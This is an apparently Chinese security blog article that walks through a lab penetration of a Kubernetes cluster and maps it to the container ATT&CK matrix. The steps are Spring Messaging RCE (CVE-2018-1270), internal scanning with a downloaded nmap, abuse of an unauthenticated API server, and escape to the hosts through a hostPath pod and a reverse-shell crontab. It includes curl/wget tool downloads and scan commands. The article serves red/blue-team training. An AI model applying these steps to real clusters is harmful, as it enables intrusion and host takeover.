基于容器ATT&CK矩阵模拟攻防对抗的思考
2021-11-01 15:59:08 【
前言

云原生技术已经变得无处不在,各种规模的企业都在进行数字化转型、重新设计应用程序和业务流程,以提高效率速度。应运而生的K8s成为帮助企业更好地拥抱云原生的容器编排技术之一。在构建安全解决方案时,考虑针对此类环境的独特安全威胁变得至关重要。容器ATT&CK对针对云原生环境下的安全威胁有了较为全面的覆盖。在基于主机ATT&CK的经验之上,容器ATT&CK也能很好地应用于评估攻防能力覆盖领域。


本文从容器ATT&CK矩阵的背景出发,然后模拟K8s渗透实验,最后从容器ATT&CK复盘渗透路线,通过实践展现了容器ATT&CK矩阵在攻防对抗中的效用。

一、容器ATT&CK背景介绍

ATT&CK(Adversarial Tactics,Techniques,and Common Knowledge)是一个攻击行为知识库和威胁建模模型,它包含众多威胁组织及其使用的工具和攻击技术。ATT&CK矩阵随着攻击技术的增加而不断完善,截止目前,ATT&CK已增加了容器矩阵的内容。


ATT&CK容器矩阵涵盖了编排层(例如Kubernets)和容器层(例如Docker)的攻击行为,还包括了一系列与容器相关的恶意软件。随着K8s采用的增长,攻击面显著扩大,K8s的复杂性和缺乏适当的安全控制使得K8s集群中的容器成为众矢之的。对于企业,利用容器ATT&CK模拟红蓝对抗,有助于了解K8s中的安全风险和关键攻击媒介,并且基于此有助于制定正确的检测和缓解策略来应对这些风险,提供全面的保护


在红蓝对抗中,红方可以根据ATT&CK所包含的技战术找到K8s集群的薄弱点进行渗透,可以对ATT&CK涉及的攻击面逐一测试。而蓝方可以根据攻击反馈的结果结合ATT&CK框架涉及的技战术查找问题,进而确定攻击技术和己方存在的问题。

二、Kubernetes集群下模拟攻击


本章节的主要内容是在较为理想的环境下模拟渗透K8s集群,并结合容器ATT&CK框架复盘模拟攻击的路线

2.1
实验室环境

一个集群包含三个节点

lK8s-master 192.168.77.120

lK8s-node1 192.168.77.127

lK8s-node2 192.168.77.125



攻击测试主机

Kali 192.168.77.129


漏洞环境准备:

创建deployment,编写文件CVE-2018-1270.yaml如下所示:



若外部主机需要访问该应用,则运维人员需要创建service,并暴露端口;所编写的rce-service.yaml如下所示:


在master主机上分别执行:

Kubectl create –f cve-2018-1270.yaml

Kubectl create –f rce-service.yaml

执行kubectl get services可以看到,成功创建spring-messaging-rce微服务并对外暴露30020端口。


2.2
攻击模拟

假如攻击者收集资产发现了暴露在外的微服务端口30020,并访问断定其可能存在Spring Messaging远程命令执行漏洞。

2.2.1

漏洞简介

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用Standardeva luationContext解析,造成命令执行漏洞。

2.2.2

漏洞影响

Spring Java Framework < 5.0

2.2.3

利用过程

在kali攻击机上执行准备好的POC,POC中添加目标主机的URL以及回连的攻击机IP,如下图所示:



在kali上监听8282端口并执行POC,成功反弹shell:

2.2.4

收集信息

反弹得到shell后,判断所处的环境是否为容器内。


查看当前的服务器用户。


执行uname -a查看内核信息。



进一步判断所处的环境是否为容器。


执行ls /.dockerenv查看,存在/.dockerenv文件。



执行df –h / | grep overlay查看,overlay是docker容器根分区专用的文件系统类型。



执行ps aux查看当前环境内的进程数以及进程PID为1的进程,可以看到进程数量很少并且进程PID为1的进程不为init或systemed。



执行which sudo查看常用工具sudo是否存在,显然sudo是不存在的。



执行ip addr查看网卡信息。



通过以上步骤可以判断所处的环境是否在容器内。


查看容器内是否挂载了docker socket,如果挂载了docker socket,那么可以逃逸到宿主机。


2.2.5

探测内网

2.2.5.1扫描存活主机

局域网地址范围分三类,以下IP段为内网IP段:

lC类:192.168.0.0-192.168.255.255

lB类:172.16.0.0-172.31.255.255

lA类:10.0.0.0-10.255.255.255


由于容器是出网的,故我们可以通过下载nmap探测整个集群的内网存活主机。


通过以下命令下载编译好的nmap工具:

curl–Ohttps://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/nmap


探测全部网段的话花费的时间较长,这里直接探测77网段。


对77网段进行探测,执行命令./nmap -sn -PE -T4 192.168.77.0/24,成功扫描到集群内的三台主机节点,并且可以看到master节点的IP为192.168.77.120。


2.2.5.2扫描集群内pod IP

对10.244.0.0/16进行网段扫描,扫描结果如下:


可以看到各个IP所对应的微服务域名。


2.2.5.3扫描集群开放端口

扫描集群内组件开放的默认端口。使用nmap扫描主机,探测端口开放。由于已经知道192.168.77.120是master节点,所以只需扫描该IP开放的端口。


首先扫描组件的默认端口8080、6443、2379、2575、10250和10256,扫描结果如下:


Master节点开放了2379、6443、8080、10250和10256端口。


暴力一点也可以通过扫描master节点1-65536开放的端口,确定master节点开放的所有端口,包括集群对外开放的微服务,进而通过其他的微服务寻找脆弱点,入侵微服务所在的pod,进而入侵宿主机。


2.2.6

攻击集群组件

扫描得到集群组件开放的端口情况后,可以进一步利用。


可以利用的集群组件以及对应的端口如下表所示。

组件名称

组件介绍

端口号

API-Server

提供资源操作的唯一入口,协调各组件并提供认证、授权、访问控制、API注册和发现等机制

8080/6443

Kubelet

直接跟容器引擎交互实现容器的生命周期管理

10250

Etcd

键值对数据库,储存k8s集群所有的重要信息

2379

Docker Remote API

主要用于远程访问docker守护进程从而下达指令

2375

Kube-proxy

负责写入规则至IPTABLES、IPVS实现服务映射访问

10256


2.2.7

K8s未授权访问

2.2.7.1未授权访问介绍

在K8s集群里8080端口是提供API Server服务的,可以通过web访问,并且可以通过kubectl客户端进行调用。由于没有进行合理的配置权限验证,可以通过利用这个端口操纵K8s集群的资源。

2.2.7.2利用

在获取的shell的容器内下载kubectl客户端,执行如下命令:

wget http://x.x.x.x/kubernetes-client-linux-amd64.tar.gz

tar -zxvf kubernetes-client-linux-amd64.tar.gz

cd kubernetes/client/bin

chmod +x ./kubectl

mv ./kubectl /usr/local/bin/kubectl


之后查看kubectl的版本信息,安装成功。



因为K8s的代理权限配置不当,通过访问API Server可以访问该k8s集群的一切资源,以下是两种影响程度较大的利用方式。


  • 通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器

  • 通过创建一个自定义的容器将系统根目录的文件挂载到/mnt目录,然后修改/mnt/etc/crontab来影响主机的crontab,获取一个反弹Shell拿到宿主机的权限。


这里选择第二种方式。


在本地创建一个标准文件myapp.yaml,基础镜像“nginix”挂载宿主机/mnt文件夹



通过容器内的kubectl客户端发送创建容器的请求。



查看创建的pod。



进入pod,向容器的/mnt/etc/crontab写入反弹shell的定时任务,由于在创建容器时宿主机的根目录被挂载到了容器的/mnt目录下,所以可以直接影响宿主机的crontab。



在攻击机上监听8888端口,等待反弹的shell。


成功反弹得到k8s-node2节点的shell。

2.2.8

横向渗透

要进一步获取到主节点的shell,则可以从这两点考虑,一是主节点可被调度,允许在主节点上部署pod;二是主节点不可被调度,但是主节点上已经存在之前部署好的pod未被驱逐,且其中某个pod存在逃逸风险;三是在已经获取的节点的shell基础上,在K8s的环境外存在某个漏洞。


集群内的污点类型

NoSchedule:K8s节点上添加这个污点类型,新的不能容忍的pod不能再调度过来,但是原来运行在此节点的pod不受影响。


NoExecute:K8s节点上添加这个污点类型,新的不能容忍的pod不能调度过来,原来运行在此节点的pod也会被驱逐。


PreferNoSchedule:pod会尝试将pod分配到该节点。


查看k8s-master的节点情况,节点被设置了不可调度,如下图所示。



于是取消k8s-master节点的不可调度。



按照获取k8s-node2节点的shell的方法,获取k8s-master的shell也如法炮制。先创建一个调度在k8s-master节点的并且挂载宿主机根目录的pod,再进入pod内反弹宿主机的shell,结果如下图所示。



如此便获取到主节点的shell。


如果想要进一步横向渗透到k8s-node1的主机,只需照猫画虎创建逃逸容器逃逸到宿主机。


2.3
从容器ATT&CK看模拟攻击路线


模拟K8s集群渗透结束后,让我们从攻击者的角度出发复盘攻击路线,采用的技战术与ATT&CK框架映射起来。


模拟的K8s渗透路线其实十分简单。


  • 首先攻击者发现K8s暴露在外的微服务开始渗透,利用容器内的应用漏洞入侵并成功获取到容器的shell

  • 然后探测内网环境,进行Cluster内网的扫描,探测存活主机和存活主机开放的端口,以此可以确定K8s集群对外暴露的微服务。并且扫描可以得到POD的IP,条件允许的话可以直接在容器内利用,因为有些POD是不对暴露端口的。

  • 通过扫描开放的组件的默认端口,进而发现K8s的未授权访问,在获取到shell的容器内利用kubectl客户端操纵K8s资源

  • 利用K8s的未授权访问创建后门容器,挂载宿主机目录,并向宿主机目录写入定时的反弹shell任务,逃逸到宿主机。

  • 之后进行横向移动,也是通过挂载目录逃逸到宿主机完成主机的横向移动。

  • 最后利用K8s cronjob进行持久化控制。


将以上的攻击路线映射到容器ATT&CK框架,如下图所示。


通过上图可以直观明了地看到整模拟攻击的路线,以及所用到的攻击技术。并且从攻击技术映射到ATT&CK框架我们可以得知,ATT&CK并不是按照任何线性顺序排列的,整个渗透过程并不是从右到左的按部就班,在整个渗透路线中的某个阶段,也并不单一的局限于一个攻击技术。


由此看来,ATT&CK框架对于攻击者来说就像是一张内容详实可靠的地图,在这张地图上地标准确,并且通往目标的路有很多,总有一条适合。

三、总结

在针对传统主机环境的渗透测试中,通常以Web服务为突破口,成功获得Webshell后,还可能会进行权限提升和横向移动,最后,可能会对目标实施权限维持。如果目标位于域内,我们通常会尝试拿下域控制器,从而实现事半功倍的效果。Kubernetes集群与域环境在一定程度上具有相似性。



】【打印关闭】 【返回顶部
上一篇没有了 下一篇游戏服务器DDOS攻击防御概要